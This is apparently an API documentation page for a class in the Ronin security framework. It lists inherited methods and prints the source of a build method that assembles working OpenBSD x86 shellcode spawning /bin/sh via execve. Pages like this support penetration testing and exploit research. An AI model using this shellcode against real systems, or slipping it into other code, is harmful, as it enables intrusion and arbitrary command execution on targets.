Class: Ronin::Payloads::Shellcode::OpenBSD::X86::ExecShell

Inherits:
ExecShellPayload show all
Defined in:
lib/ronin/payloads/builtin/shellcode/openbsd/x86/exec_shell.rb

Overview

OpenBSD x86 shellcode that calls execve() with /bin/sh.

Instance Attribute Summary

Attributes inherited from Payload

#encoders, #payload

Instance Method Summary collapse

Methods inherited from Ronin::Payloads::ShellcodePayload

payload_type, #shellcode

Methods inherited from ASMPayload

#assemble, assembler, payload_type

Methods included from Metadata::OS

included, #os, #os_version

Methods included from Metadata::Arch

#arch, included

Methods inherited from BinaryPayload

payload_type

Methods inherited from Payload

#built?, #built_payload, #bytesize, #cleanup, #encode_payload, #encoded_payload, encoder_class, #initialize, #length, payload_type, #perform_build, #perform_cleanup, #perform_postlaunch, #perform_prelaunch, #perform_validate, #postlaunch, #prelaunch, #rebuild_payload, #reencode_payload, register, #to_s, #validate

Constructor Details

This class inherits a constructor from Ronin::Payloads::Payload

Instance Method Details

#buildObject

Builds the shellcode.



54
55
56
57
58
59
60
61
62
63
64
65
66
67
# File 'lib/ronin/payloads/builtin/shellcode/openbsd/x86/exec_shell.rb', line 54

def build
  @payload = "\x99".b +                 # cltd
             "\x52".b +                 # push	%edx
             "\x68\x6e\x2f\x73\x68".b + # push	$0x68732f6e
             "\x68\x2f\x2f\x62\x69".b + # push	$0x69622f2f
             "\x89\xe3".b +             # mov	%esp,%ebx
             "\x52".b +                 # push	%edx
             "\x54".b +                 # push	%esp
             "\x53".b +                 # push	%ebx
             "\x53".b +                 # push	%ebx
             "\x6a\x3b".b +             # push	$0x3b
             "\x58".b +                 # pop	%eax
             "\xcd\x80".b               # int	$0x80
end